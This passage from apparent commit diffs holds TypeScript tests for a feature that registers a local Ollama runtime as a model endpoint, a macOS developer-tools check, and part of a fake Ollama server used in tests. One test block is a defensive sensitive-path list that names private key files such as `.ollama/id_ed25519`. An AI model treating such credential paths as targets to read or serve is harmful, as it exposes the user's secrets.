apiKey: 'sk-keep-me',
models: ['some-model'],
};
const RECORD: CustomModelHost = {
id: 'local-ollama',
label: 'This Mac',
baseUrl: 'http://127.0.0.1:11435',
authStyle: 'bearer',
models: ['qwen3.6:35b-a3b'],
defaultModelId: 'qwen3.6:35b-a3b',
defaultContextLength: 131072,
};
function writeSettings(settings: Record<string, unknown>): void {
mkdirSync(dirname(SETTINGS_PATH), { recursive: true });
writeFileSync(SETTINGS_PATH, JSON.stringify(settings));
}
const readSettings = (): Record<string, unknown> => JSON.parse(readFileSync(SETTINGS_PATH, 'utf8'));
function writeHosts(hosts: CustomModelHost[]): void {
writeFileSync(HOSTS(), JSON.stringify(hosts));
}
afterEach(() => {
rmSync(HOSTS(), { force: true });
rmSync(SETTINGS_PATH, { force: true });
rmSync(STATE(), { force: true });
vi.restoreAllMocks();
});
describe('buildLocalEndpointRecord', () => {
it('is the one record this feature writes, to the letter', () => {
expect(LOCAL_MODEL_ENDPOINT_ID).toBe('local-ollama');
expect(LOCAL_MODEL_ENDPOINT_LABEL).toBe('This Mac');
expect(buildLocalEndpointRecord(INPUT)).toEqual(RECORD);
});
it('carries no API key and no field of its own invention', () => {
expect(Object.keys(buildLocalEndpointRecord(INPUT)).sort()).toEqual([
'authStyle',
'baseUrl',
'defaultContextLength',
'defaultModelId',
'id',
'label',
'models',
]);
});
it('passes the schema a saved endpoint must pass, unchanged', () => {
const parsed = CustomModelHostSchema.safeParse(buildLocalEndpointRecord(INPUT));
expect(parsed.success).toBe(true);
expect(parsed.data).toEqual(RECORD);
});
it('the port of the runtime is the port of the URL, and the chosen context is the default context', () => {
const record = buildLocalEndpointRecord({ port: 11442, modelId: 'gpt-oss:20b', context: 65536 });
expect(record.baseUrl).toBe('http://127.0.0.1:11442');
expect(record.models).toEqual(['gpt-oss:20b']);
expect(record.defaultModelId).toBe('gpt-oss:20b');
expect(record.defaultContextLength).toBe(65536);
});
});
describe('connectLocalModel', () => {
it('on a fresh data dir: writes the record, switches the flag on, and reports that it was off', async () => {
const result = await connectLocalModel({ ...INPUT, ours: false });
expect(result).toEqual({ ok: true, flagWasEnabled: false });
expect(await readCustomModelHosts(getDataDir())).toEqual([RECORD]);
expect(readSettings()).toEqual({ customModelEndpointsEnabled: true });
});
it('keeps every other endpoint and every other setting', async () => {
writeHosts([OTHER]);
writeSettings({ tmuxHistoryLimit: 5000, customModelEndpointsEnabled: false, voiceSettings: { apiKey: 'dg' } });
const result = await connectLocalModel({ ...INPUT, ours: false });
expect(result).toEqual({ ok: true, flagWasEnabled: false });
expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER, RECORD]);
expect(readSettings()).toEqual({
tmuxHistoryLimit: 5000,
customModelEndpointsEnabled: true,
voiceSettings: { apiKey: 'dg' },
});
});
it('a flag that was already on is reported as such and the settings file is not rewritten', async () => {
writeSettings({ customModelEndpointsEnabled: true, caseOrder: ['a'] });
const before = readFileSync(SETTINGS_PATH, 'utf8');
const result = await connectLocalModel({ ...INPUT, ours: false });
expect(result).toEqual({ ok: true, flagWasEnabled: true });
expect(readFileSync(SETTINGS_PATH, 'utf8')).toBe(before);
});
it('is idempotent: a second connect replaces our record and hands the first flag value back', async () => {
writeHosts([OTHER]);
const first = await connectLocalModel({ ...INPUT, ours: false });
expect(first).toEqual({ ok: true, flagWasEnabled: false });
// The second connect finds the flag ON, because the first switched it on. The value that
// is remembered must stay the one from before this feature touched it.
const second = await connectLocalModel({ ...INPUT, context: 65536, ours: true, flagWasEnabled: false });
expect(second).toEqual({ ok: true, flagWasEnabled: false });
const hosts = await readCustomModelHosts(getDataDir());
expect(hosts.map((host) => host.id)).toEqual(['office-gpu', 'local-ollama']);
expect(hosts[1].defaultContextLength).toBe(65536);
});
it('replaces our own record in place when the state says it is ours', async () => {
writeHosts([{ ...RECORD, baseUrl: 'http://127.0.0.1:11440', models: ['old:1b'] }, OTHER]);
const result = await connectLocalModel({ ...INPUT, ours: true, flagWasEnabled: true });
expect(result).toEqual({ ok: true, flagWasEnabled: true });
expect(await readCustomModelHosts(getDataDir())).toEqual([RECORD, OTHER]);
});
it('never takes over a record with the reserved id that is not ours, and changes nothing', async () => {
const theirs: CustomModelHost = { id: 'local-ollama', label: 'My own Ollama', baseUrl: 'http://127.0.0.1:11434' };
writeHosts([theirs]);
writeSettings({ customModelEndpointsEnabled: false });
const hostsBefore = readFileSync(HOSTS(), 'utf8');
const settingsBefore = readFileSync(SETTINGS_PATH, 'utf8');
const result = await connectLocalModel({ ...INPUT, ours: false });
expect(result).toEqual({ ok: false, code: 'endpoint-id-taken' });
expect(readFileSync(HOSTS(), 'utf8')).toBe(hostsBefore);
expect(readFileSync(SETTINGS_PATH, 'utf8')).toBe(settingsBefore);
});
it('an endpoint store that does not parse is connect-failed: neither file is touched', async () => {
vi.spyOn(console, 'warn').mockImplementation(() => {});
writeFileSync(HOSTS(), '[{"id":"x","apiKey":"sk-secret"},');
writeSettings({ customModelEndpointsEnabled: false });
const result = await connectLocalModel({ ...INPUT, ours: false });
expect(result).toMatchObject({ ok: false, code: 'connect-failed' });
expect(result.ok === false && result.detail).toContain('custom-model-hosts.json');
expect(result.ok === false && result.detail).not.toContain('sk-secret');
expect(readFileSync(HOSTS(), 'utf8')).toBe('[{"id":"x","apiKey":"sk-secret"},');
expect(readSettings()).toEqual({ customModelEndpointsEnabled: false });
});
it('a settings file that does not parse is connect-failed, and the record just added is taken out again', async () => {
vi.spyOn(console, 'warn').mockImplementation(() => {});
writeHosts([OTHER]);
mkdirSync(dirname(SETTINGS_PATH), { recursive: true });
writeFileSync(SETTINGS_PATH, '{"customModelEndpointsEnabled":');
const result = await connectLocalModel({ ...INPUT, ours: false });
expect(result).toMatchObject({ ok: false, code: 'connect-failed' });
expect(result.ok === false && result.detail).toContain('settings.json');
// The pair is not left half done: a later attempt starts from the same place.
expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER]);
expect(readFileSync(SETTINGS_PATH, 'utf8')).toBe('{"customModelEndpointsEnabled":');
});
it('a settings failure does not take out a record that was ours before this call', async () => {
vi.spyOn(console, 'warn').mockImplementation(() => {});
writeHosts([RECORD]);
mkdirSync(dirname(SETTINGS_PATH), { recursive: true });
writeFileSync(SETTINGS_PATH, 'not json');
const result = await connectLocalModel({ ...INPUT, ours: true, flagWasEnabled: false });
expect(result).toMatchObject({ ok: false, code: 'connect-failed' });
expect(await readCustomModelHosts(getDataDir())).toEqual([RECORD]);
});
it('a port that cannot be a URL is connect-failed before anything is written', async () => {
const result = await connectLocalModel({ port: Number.NaN, modelId: 'x:y', context: 131072, ours: false });
expect(result).toMatchObject({ ok: false, code: 'connect-failed' });
expect(existsSync(HOSTS())).toBe(false);
expect(existsSync(SETTINGS_PATH)).toBe(false);
});
});
describe('moveLocalEndpoint', () => {
it('moves our record to the new port and keeps everything else of it', async () => {
writeHosts([OTHER, RECORD]);
await moveLocalEndpoint(11441);
expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER, { ...RECORD, baseUrl: 'http://127.0.0.1:11441' }]);
});
it('a missing record is not an error and creates no file', async () => {
await moveLocalEndpoint(11441);
expect(existsSync(HOSTS())).toBe(false);
writeHosts([OTHER]);
await moveLocalEndpoint(11441);
expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER]);
});
});
describe('ensureLocalEndpoint', () => {
it('puts our record back when it is gone, keeps the other endpoints, and does not touch the settings', async () => {
writeHosts([OTHER]);
writeSettings({ customModelEndpointsEnabled: false });
expect(await ensureLocalEndpoint(INPUT)).toBe(true);
expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER, RECORD]);
// A person who switched the setting off meant to.
expect(readSettings()).toEqual({ customModelEndpointsEnabled: false });
});
it('never replaces a record that is there, ours or not', async () => {
const theirs: CustomModelHost = { id: 'local-ollama', label: 'Edited', baseUrl: 'http://127.0.0.1:11499' };
writeHosts([theirs]);
const before = readFileSync(HOSTS(), 'utf8');
expect(await ensureLocalEndpoint(INPUT)).toBe(false);
expect(readFileSync(HOSTS(), 'utf8')).toBe(before);
});
it('never throws: a store that does not parse is left alone', async () => {
vi.spyOn(console, 'warn').mockImplementation(() => {});
writeFileSync(HOSTS(), '{broken');
expect(await ensureLocalEndpoint(INPUT)).toBe(false);
expect(readFileSync(HOSTS(), 'utf8')).toBe('{broken');
});
});
describe('disconnectLocalModel', () => {
it('removes our record and switches the flag off again when this feature switched it on and no other endpoint is left', async () => {
writeHosts([RECORD]);
writeSettings({ customModelEndpointsEnabled: true, tmuxHistoryLimit: 5000 });
await disconnectLocalModel({ flagWasEnabled: false });
expect(await readCustomModelHosts(getDataDir())).toEqual([]);
expect(readSettings()).toEqual({ customModelEndpointsEnabled: false, tmuxHistoryLimit: 5000 });
});
it('leaves the flag on when it was on before this feature', async () => {
writeHosts([RECORD]);
writeSettings({ customModelEndpointsEnabled: true });
await disconnectLocalModel({ flagWasEnabled: true });
expect(await readCustomModelHosts(getDataDir())).toEqual([]);
expect(readSettings()).toEqual({ customModelEndpointsEnabled: true });
});
it('leaves the flag on when another endpoint is still saved, although this feature switched it on', async () => {
writeHosts([OTHER, RECORD]);
writeSettings({ customModelEndpointsEnabled: true });
await disconnectLocalModel({ flagWasEnabled: false });
expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER]);
expect(readSettings()).toEqual({ customModelEndpointsEnabled: true });
});
it('leaves the flag on when it was on before AND another endpoint is saved', async () => {
writeHosts([RECORD, OTHER]);
writeSettings({ customModelEndpointsEnabled: true });
await disconnectLocalModel({ flagWasEnabled: true });
expect(readSettings()).toEqual({ customModelEndpointsEnabled: true });
});
it('is idempotent: a second call changes nothing, and a flag somebody switched off stays off', async () => {
writeHosts([RECORD]);
writeSettings({ customModelEndpointsEnabled: true });
await disconnectLocalModel({ flagWasEnabled: false });
const hosts = readFileSync(HOSTS(), 'utf8');
const settings = readFileSync(SETTINGS_PATH, 'utf8');
await disconnectLocalModel({ flagWasEnabled: false });
expect(readFileSync(HOSTS(), 'utf8')).toBe(hosts);
expect(readFileSync(SETTINGS_PATH, 'utf8')).toBe(settings);
});
it('with nothing saved at all it writes neither file', async () => {
await disconnectLocalModel({ flagWasEnabled: false });
expect(existsSync(HOSTS())).toBe(false);
expect(existsSync(SETTINGS_PATH)).toBe(false);
});
it('rejects when the endpoint store must not be overwritten, and leaves the flag alone', async () => {
vi.spyOn(console, 'warn').mockImplementation(() => {});
writeFileSync(HOSTS(), '{broken');
writeSettings({ customModelEndpointsEnabled: true });
await expect(disconnectLocalModel({ flagWasEnabled: false })).rejects.toThrow('custom-model-hosts.json');
expect(readSettings()).toEqual({ customModelEndpointsEnabled: true });
});
it('connect then disconnect leaves the data dir as it was found', async () => {
writeHosts([OTHER]);
writeSettings({ customModelEndpointsEnabled: true, caseOrder: ['a', 'b'] });
const connected = await connectLocalModel({ ...INPUT, ours: false });
expect(connected).toEqual({ ok: true, flagWasEnabled: true });
await disconnectLocalModel({ flagWasEnabled: true });
expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER]);
expect(readSettings()).toEqual({ customModelEndpointsEnabled: true, caseOrder: ['a', 'b'] });
});
});
describe('the reserved id and the managed record', () => {
it('isLocalModelEndpointId is an exact match', () => {
expect(isLocalModelEndpointId('local-ollama')).toBe(true);
for (const id of ['Local-Ollama', 'local-ollama ', 'local-ollama-2', 'ollama', '']) {
expect(isLocalModelEndpointId(id)).toBe(false);
}
});
it('a record with the reserved id is managed only while the state file records it as ours', async () => {
// No state file: somebody made that record by hand.
expect(await isManagedLocalEndpoint('local-ollama')).toBe(false);
const installed = {
schema: 1,
state: 'installed',
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 },
cli: { id: 'opencode', label: 'OpenCode' },
runtime: { version: '0.40.15', port: 11435, enabled: true },
};
writeFileSync(STATE(), JSON.stringify(installed));
expect(await isManagedLocalEndpoint('local-ollama')).toBe(false);
writeFileSync(
STATE(),
JSON.stringify({ ...installed, connection: { endpointId: 'local-ollama', flagWasEnabled: false } })
);
expect(await isManagedLocalEndpoint('local-ollama')).toBe(true);
// Any other id is never managed, whatever the state file says.
expect(await isManagedLocalEndpoint('office-gpu')).toBe(false);
});
});
describe('sessionNamesUsingEndpoint', () => {
const sessions = [
{ name: 'w1-app', customModel: { endpointId: 'local-ollama' } },
{ name: 'w2-app' },
{ name: 'w3-lib', customModel: { endpointId: 'office-gpu' } },
{ name: 'w4-lib', customModel: { endpointId: 'local-ollama' } },
];
it('names the sessions on our endpoint, in the order given', () => {
expect(sessionNamesUsingEndpoint(sessions)).toEqual(['w1-app', 'w4-lib']);
});
it('takes any iterable and another endpoint id', () => {
expect(sessionNamesUsingEndpoint(new Set(sessions), 'office-gpu')).toEqual(['w3-lib']);
expect(sessionNamesUsingEndpoint(new Map().values())).toEqual([]);
});
});
describe('compareModelDigest', () => {
const digest = '0ce5ff81f9ffdf89dd8192ca7b5d34cefd8996a875b3aaaaafaf5c4813569eba';
it('same digest, same model', () => {
expect(compareModelDigest(digest, digest)).toBe('same');
});
it('a prefix or another letter case is not a change', () => {
expect(compareModelDigest(digest, `sha256:${digest}`)).toBe('same');
expect(compareModelDigest(digest.toUpperCase(), ` ${digest} `)).toBe('same');
});
it('another digest under the same name is a change', () => {
expect(compareModelDigest(digest, digest.replace(/^0/, '1'))).toBe('changed');
expect(compareModelDigest(digest, digest.slice(0, 12))).toBe('changed');
});
it('is unknown when either side is absent or empty', () => {
expect(compareModelDigest(undefined, digest)).toBe('unknown');
expect(compareModelDigest(digest, undefined)).toBe('unknown');
expect(compareModelDigest('', digest)).toBe('unknown');
expect(compareModelDigest(digest, 'sha256:')).toBe('unknown');
expect(compareModelDigest(undefined, undefined)).toBe('unknown');
});
});
describe('a record that says what ours would say is ours', () => {
it('isSameLocalEndpoint: the address, the one model, its context and no key', () => {
expect(isSameLocalEndpoint(RECORD, INPUT)).toBe(true);
// What discovery may have added does not make it somebody else's.
expect(
isSameLocalEndpoint(
{ ...RECORD, modelContextLengths: { 'qwen3.6:35b-a3b': 131072 }, lastDiscoveredAt: '2026-11-06T10:00:00Z' },
INPUT
)
).toBe(true);
const differs: Partial<CustomModelHost>[] = [
{ baseUrl: 'http://127.0.0.1:11434' },
{ label: 'My own' },
{ models: ['qwen3.6:35b-a3b', 'gpt-oss:20b'] },
{ models: ['gpt-oss:20b'], defaultModelId: 'gpt-oss:20b' },
{ defaultContextLength: 65536 },
{ apiKey: 'sk-not-ours' },
{ authStyle: 'api-key' },
];
for (const change of differs) expect(isSameLocalEndpoint({ ...RECORD, ...change }, INPUT)).toBe(false);
});
it('connectLocalModel takes such a record as ours although the caller did not say so', async () => {
writeSettings({});
writeHosts([OTHER, RECORD]);
expect(await connectLocalModel({ ...INPUT, ours: false })).toEqual({ ok: true, flagWasEnabled: false });
expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER, RECORD]);
});
it('a record with our id that says something else is still somebody else: taken, and untouched', async () => {
const foreign = { ...RECORD, baseUrl: 'http://127.0.0.1:11434' };
writeHosts([foreign]);
expect(await connectLocalModel({ ...INPUT, ours: false })).toEqual({ ok: false, code: 'endpoint-id-taken' });
expect(await readCustomModelHosts(getDataDir())).toEqual([foreign]);
});
});
describe('inspectLocalEndpoint: what the connect step finds before it claims the connection', () => {
it('nothing saved and no settings file: absent, and the flag is off', async () => {
expect(await inspectLocalEndpoint(INPUT)).toEqual({ record: 'absent', flagEnabled: false });
});
it('reads the flag as it is now, and writes nothing', async () => {
writeSettings({ customModelEndpointsEnabled: true, tmuxHistoryLimit: 5000 });
writeHosts([OTHER]);
const settingsBefore = readFileSync(SETTINGS_PATH, 'utf8');
const hostsBefore = readFileSync(HOSTS(), 'utf8');
expect(await inspectLocalEndpoint(INPUT)).toEqual({ record: 'absent', flagEnabled: true });
expect(readFileSync(SETTINGS_PATH, 'utf8')).toBe(settingsBefore);
expect(readFileSync(HOSTS(), 'utf8')).toBe(hostsBefore);
});
it("tells our record from somebody else's under the same id", async () => {
writeHosts([RECORD]);
expect((await inspectLocalEndpoint(INPUT)).record).toBe('same');
expect((await inspectLocalEndpoint({ ...INPUT, port: 11436 })).record).toBe('other');
});
});
describe('moveLocalEndpoint', () => {
it('a record that is already on the port is not written again', async () => {
writeHosts([RECORD]);
const before = readFileSync(HOSTS(), 'utf8');
await moveLocalEndpoint(11435);
expect(readFileSync(HOSTS(), 'utf8')).toBe(before);
await moveLocalEndpoint(11440);
expect((await readCustomModelHosts(getDataDir()))[0].baseUrl).toBe('http://127.0.0.1:11440');
});
});
describe('the runtime keeps a private key that is never served', () => {
it('everything in the private home is on the sensitive list, and so is a runtime key under a real home', () => {
const home = join(getDataDir(), 'local-model', 'home');
expect(isSensitivePath(join(home, '.ollama', 'id_ed25519'))).toBe(true);
expect(isSensitivePath(join(home, '.ollama', 'id_ed25519.pub'))).toBe(true);
expect(isSensitivePath('/Users/me/.codeman-beta/local-model/home/.ollama/server.json')).toBe(true);
expect(isSensitivePath('/Users/me/.ollama/id_ed25519')).toBe(true);
});
it('the model store and the state file hold no secret and stay ordinary files', () => {
expect(isSensitivePath(join(getDataDir(), 'local-model', 'models', 'manifest'))).toBe(false);
expect(isSensitivePath('/Users/me/.ollama/models/blobs/sha256-abc')).toBe(false);
});
});
+153
View File
@@ -0,0 +1,153 @@
/**
* @fileoverview Tests for src/local-model/developer-tools.ts: whether this Mac has the
* developer tools a coding agent calls.
*
* Pinned: the ONLY command it ever runs is `/usr/bin/xcode-select -p` (never `git` or
* `python3`, which open a system window on a Mac without the tools), with a timeout; exit 0
* is `present`, any other exit is `missing`, no answer is `unknown`; off macOS nothing is run
* at all; nothing it is given can make it throw; and an answer is reused for a minute, so a
* window that polls once a second does not spawn once a second.
*
* Port: N/A (the runner is injected; nothing is spawned).
*/
import { afterEach, describe, expect, it, vi } from 'vitest';
import {
checkDeveloperTools,
createDeveloperToolsCheck,
DEVELOPER_TOOLS_TIMEOUT_MS,
resetDeveloperToolsCache,
} from '../src/local-model/developer-tools.js';
type Run = (file: string, args: readonly string[], timeoutMs: number) => Promise<number | null>;
/** A runner that answers `code` and records how it was called. */
function runner(code: number | null): { run: Run; calls: [string, readonly string[], number][] } {
const calls: [string, readonly string[], number][] = [];
return {
calls,
run: async (file, args, timeoutMs) => {
calls.push([file, args, timeoutMs]);
return code;
},
};
}
afterEach(() => {
resetDeveloperToolsCache();
vi.restoreAllMocks();
});
describe('checkDeveloperTools', () => {
it('runs exactly one command: /usr/bin/xcode-select -p, bounded', async () => {
const { run, calls } = runner(0);
expect(await checkDeveloperTools({ platform: 'darwin', run })).toBe('present');
expect(calls).toEqual([['/usr/bin/xcode-select', ['-p'], DEVELOPER_TOOLS_TIMEOUT_MS]]);
expect(DEVELOPER_TOOLS_TIMEOUT_MS).toBe(2_000);
});
it('never names git, python or xcrun, whatever the answer is', async () => {
for (const code of [0, 1, 2, null]) {
const { run, calls } = runner(code);
await checkDeveloperTools({ platform: 'darwin', run });
expect(calls).toHaveLength(1);
expect(calls[0][0]).toBe('/usr/bin/xcode-select');
expect(JSON.stringify(calls)).not.toMatch(/git|python|xcrun/);
}
});
it('reads exit 0 as present and any other exit as missing', async () => {
expect(await checkDeveloperTools({ platform: 'darwin', run: runner(0).run })).toBe('present');
// A Mac without the tools: "unable to get active developer directory", exit 2.
expect(await checkDeveloperTools({ platform: 'darwin', run: runner(2).run })).toBe('missing');
expect(await checkDeveloperTools({ platform: 'darwin', run: runner(1).run })).toBe('missing');
expect(await checkDeveloperTools({ platform: 'darwin', run: runner(127).run })).toBe('missing');
});
it('reads no answer as unknown: a timeout, a command that could not be started, a runner that throws', async () => {
expect(await checkDeveloperTools({ platform: 'darwin', run: runner(null).run })).toBe('unknown');
const throwing: Run = async () => {
throw new Error('spawn EACCES');
};
expect(await checkDeveloperTools({ platform: 'darwin', run: throwing })).toBe('unknown');
// An exit code that is no whole number is no answer either.
expect(await checkDeveloperTools({ platform: 'darwin', run: runner(Number.NaN).run })).toBe('unknown');
});
it('runs nothing off macOS and answers unknown', async () => {
for (const platform of ['linux', 'win32', 'freebsd']) {
const { run, calls } = runner(0);
expect(await checkDeveloperTools({ platform, run }), platform).toBe('unknown');
expect(calls).toEqual([]);
}
});
it('spawns nothing with the default runner under vitest', async () => {
// The real `execFile` is never reached here: on a Mac this would otherwise run the command.
expect(await checkDeveloperTools({ platform: 'darwin' })).toBe('unknown');
// And with no argument at all it answers for this machine without throwing.
expect(['present', 'missing', 'unknown']).toContain(await checkDeveloperTools());
});
});
describe('the cached check', () => {
it('reuses an answer for a minute, then asks again', async () => {
const { run, calls } = runner(2);
let clock = 1_000_000;
const check = createDeveloperToolsCheck({ platform: 'darwin', run, now: () => clock });
expect(await check()).toBe('missing');
// A window that polls once a second for a minute.
for (let second = 1; second < 60; second++) {
clock += 1_000;
expect(await check()).toBe('missing');
}
expect(calls).toHaveLength(1);
clock += 1_000;
expect(await check()).toBe('missing');
expect(calls).toHaveLength(2);
});
it('shares one run among callers that ask at the same time', async () => {
let release: (code: number) => void = () => undefined;
let started = 0;
const run: Run = () => {
started += 1;
return new Promise((resolve) => {
release = resolve;
});
};
const check = createDeveloperToolsCheck({ platform: 'darwin', run });
const asked = [check(), check(), check()];
await Promise.resolve();
expect(started).toBe(1);
release(0);
expect(await Promise.all(asked)).toEqual(['present', 'present', 'present']);
});
it('does not remember "unknown": a check that did not work is tried again', async () => {
let calls = 0;
// No answer the first time, exit 0 from then on.
const run: Run = async () => (calls++ === 0 ? null : 0);
const check = createDeveloperToolsCheck({ platform: 'darwin', run, now: () => 5 });
expect(await check()).toBe('unknown');
expect(await check()).toBe('present');
expect(await check()).toBe('present');
expect(calls).toBe(2);
});
it('sees the tools once they were installed, after the minute', async () => {
const answers = [2, 0];
let calls = 0;
let clock = 0;
const check = createDeveloperToolsCheck({
platform: 'darwin',
run: async () => answers[calls++] ?? 0,
now: () => clock,
});
expect(await check()).toBe('missing');
clock = 59_999;
expect(await check()).toBe('missing');
clock = 60_000;
expect(await check()).toBe('present');
});
});
+428
View File
@@ -0,0 +1,428 @@
/**
* @fileoverview Tests for test/fixtures/fake-ollama.ts, the fake model runtime every local
* model test runs against. A fake that answers in the wrong shape makes every test built on
* it prove nothing, so this file pins each answer and each switch once.
*
* It also shows how the fake is used: `startFakeOllama()` for a client test, and
* `createFakeOllama()` plus `fake.spawn` and `freeLoopbackPort()` for a supervisor test.
*
* Port: none fixed (the fake listens on 0; the spawn test reserves a free port first).
*/
import { execFile } from 'node:child_process';
import { createHash } from 'node:crypto';
import { mkdtemp, readFile, rm, stat, writeFile } from 'node:fs/promises';
import { tmpdir } from 'node:os';
import { join } from 'node:path';
import { promisify } from 'node:util';
import { afterEach, describe, expect, it } from 'vitest';
import {
buildFakeArchive,
createFakeOllama,
DEFAULT_FAKE_MODEL,
fakeRuntimeLog,
FakeRuntimeChild,
freeLoopbackPort,
INFERENCE_COMPUTE_LINE_MACBOOK,
MACBOOK_MEASURED_TOTAL_BYTES,
REAL_INFERENCE_COMPUTE_LINE_MAC_MINI,
REAL_PULL_ERROR_LINE,
startFakeOllama,
type FakeOllama,
} from './fixtures/fake-ollama.js';
const execFileAsync = promisify(execFile);
let fake: FakeOllama | undefined;
afterEach(async () => {
await fake?.close();
fake = undefined;
});
/** Every line of a pull, parsed. `cut` is true when the body ended in an error instead of a clean end. */
async function pull(target: FakeOllama, modelId = DEFAULT_FAKE_MODEL.id): Promise<{ lines: any[]; cut: boolean }> {
const res = await fetch(`${target.baseUrl}/api/pull`, {
method: 'POST',
headers: { 'content-type': 'application/json' },
body: JSON.stringify({ model: modelId, stream: true }),
});
let text = '';
let cut = false;
const decoder = new TextDecoder();
try {
for await (const chunk of res.body as unknown as AsyncIterable<Uint8Array>) {
text += decoder.decode(chunk, { stream: true });
}
} catch {
cut = true;
}
const lines = text
.split('\n')
.filter((line) => line.trim() !== '')
.map((line) => JSON.parse(line));
return { lines, cut };
}
async function getJson(target: FakeOllama, path: string): Promise<any> {
return (await fetch(`${target.baseUrl}${path}`)).json();
}
async function chat(target: FakeOllama, body: Record<string, unknown>): Promise<{ status: number; json: any }> {
const res = await fetch(`${target.baseUrl}/v1/chat/completions`, {
method: 'POST',
headers: { 'content-type': 'application/json' },
body: JSON.stringify({ model: DEFAULT_FAKE_MODEL.id, messages: [{ role: 'user', content: 'ping' }], ...body }),
});
return { status: res.status, json: await res.json() };
}
const TOOLS = [
{
type: 'function',
function: {
name: 'read_file',
description: 'Read a file',
parameters: { type: 'object', properties: { path: { type: 'string' } }, required: ['path'] },
},
},
];
describe('the fake runtime: listings', () => {
it('answers the version and an empty store in the real shapes', async () => {
fake = await startFakeOllama();
expect(fake.port).toBeGreaterThan(0);
expect(await (await fetch(`${fake.baseUrl}/`)).text()).toBe('Ollama is running');
expect(await getJson(fake, '/api/version')).toEqual({ version: '0.40.15' });
expect(await getJson(fake, '/api/tags')).toEqual({ models: [] });
expect(await getJson(fake, '/api/ps')).toEqual({ models: [] });
// The real runtime answers `data: null`, not an empty list, when it has no model.
expect(await getJson(fake, '/v1/models')).toEqual({ object: 'list', data: null });
});
it('lists an installed model with the digest, format and runner a Mac reports', async () => {
fake = await startFakeOllama({ installed: true });
const tags = await getJson(fake, '/api/tags');
expect(tags.models).toHaveLength(1);
expect(tags.models[0]).toMatchObject({
name: 'qwen3.6:35b-a3b',
size: 23_105_798_956,
digest: '0ce5ff81f9ffdf89dd8192ca7b5d34cefd8996a875b3aaaaafaf5c4813569eba',
details: { format: 'safetensors', quantization_level: 'nvfp4', runner: 'mlx' },
capabilities: ['completion', 'vision', 'tools', 'thinking'],
});
expect((await getJson(fake, '/v1/models')).data.map((m: { id: string }) => m.id)).toEqual(['qwen3.6:35b-a3b']);
});
it('records every request with its parsed body', async () => {
fake = await startFakeOllama({ installed: true });
await chat(fake, { reasoning_effort: 'none', max_tokens: 16 });
expect(fake.requests.at(-1)).toMatchObject({
method: 'POST',
path: '/v1/chat/completions',
body: { model: 'qwen3.6:35b-a3b', reasoning_effort: 'none', max_tokens: 16 },
});
});
});
describe('the fake runtime: pull', () => {
it('streams the MLX line shape of a Mac and installs the model', async () => {
fake = await startFakeOllama({ pull: { progressLines: 4 } });
const { lines, cut } = await pull(fake);
expect(cut).toBe(false);
expect(lines[0]).toEqual({ status: 'pulling manifest' });
expect(lines[1]).toEqual({ status: 'pulling model', digest: 'sha256:model', total: 23_105_798_956, completed: 0 });
expect(lines.slice(-3)).toEqual([
{ status: 'pulling model', digest: 'sha256:model', total: 23_105_798_956, completed: 23_105_798_956 },
{ status: 'writing manifest' },
{ status: 'success' },
]);
const completed = lines.filter((l) => l.status === 'pulling model').map((l) => l.completed);
expect(completed).toEqual([...completed].sort((a, b) => a - b));
expect(fake.state.installed).toBe(true);
expect((await getJson(fake, '/api/tags')).models).toHaveLength(1);
});
it('streams as many progress lines as asked for', async () => {
fake = await startFakeOllama({ pull: { progressLines: 5000 } });
const { lines } = await pull(fake);
expect(lines.filter((l) => l.status === 'pulling model')).toHaveLength(5001);
});
it('streams the GGUF shape: layers that announce themselves, then the digest check', async () => {
fake = await startFakeOllama({ pull: { shape: 'gguf', progressLines: 2 } });
const { lines } = await pull(fake);
const large = `sha256:${DEFAULT_FAKE_MODEL.digest}`;
// The first line of a layer has no `completed`.
expect(lines[1]).toEqual({ status: 'pulling 0ce5ff81f9ff', digest: large, total: 23_105_798_956 - 13_383 });
expect(lines.map((l) => l.status).slice(-3)).toEqual(['verifying sha256 digest', 'writing manifest', 'success']);
// The totals of all layers add up to the model.
const totals = new Map<string, number>();
for (const l of lines) if (l.digest) totals.set(l.digest, l.total);
expect([...totals.values()].reduce((a, b) => a + b, 0)).toBe(23_105_798_956);
});
it('ends on the real error line, then resumes where it stopped and succeeds', async () => {
fake = await startFakeOllama({ pull: { fail: 'error-line', failAfterLines: 3, failTimes: 1, progressLines: 6 } });
const first = await pull(fake);
expect(first.cut).toBe(false);
expect(JSON.stringify(first.lines.at(-1))).toBe(REAL_PULL_ERROR_LINE);
expect(first.lines.some((l) => l.status === 'success')).toBe(false);
expect(fake.state.installed).toBe(false);
const reached = fake.state.completedBytes;
expect(reached).toBeGreaterThan(0);
const second = await pull(fake);
// A resumed pull's first progress line starts at what is already on disk.
expect(second.lines[1].completed).toBe(reached);
expect(second.lines.at(-1)).toEqual({ status: 'success' });
expect(fake.state.pulls).toBe(2);
});
it('cuts the stream without a last line', async () => {
fake = await startFakeOllama({ pull: { fail: 'cut', failAfterLines: 2 } });
const { lines, cut } = await pull(fake);
expect(cut).toBe(true);
expect(lines.some((l) => l.status === 'success' || l.error)).toBe(false);
expect(fake.state.installed).toBe(false);
});
it('starts a first pull at resumeFrom', async () => {
fake = await startFakeOllama({ pull: { resumeFrom: 197_411_434, progressLines: 2 } });
const { lines } = await pull(fake);
expect(lines[1].completed).toBe(197_411_434);
});
it('says so when the registry has no such model', async () => {
fake = await startFakeOllama();
const unknown = await pull(fake, 'no-such:1b');
expect(unknown.lines.at(-1)).toEqual({ error: 'pull model manifest: file does not exist' });
fake.switches.pull.fail = 'not-found';
expect((await pull(fake)).lines.at(-1)).toEqual({ error: 'pull model manifest: file does not exist' });
});
it('stops sending when the client aborts, and remembers how far it got', async () => {
fake = await startFakeOllama({ pull: { progressLines: 200, lineDelayMs: 5 } });
const controller = new AbortController();
const res = await fetch(`${fake.baseUrl}/api/pull`, {
method: 'POST',
body: JSON.stringify({ model: DEFAULT_FAKE_MODEL.id, stream: true }),
signal: controller.signal,
});
const reader = res.body!.getReader();
await reader.read();
controller.abort();
await reader.read().catch(() => undefined);
await new Promise((resolve) => setTimeout(resolve, 50));
const reached = fake.state.completedBytes;
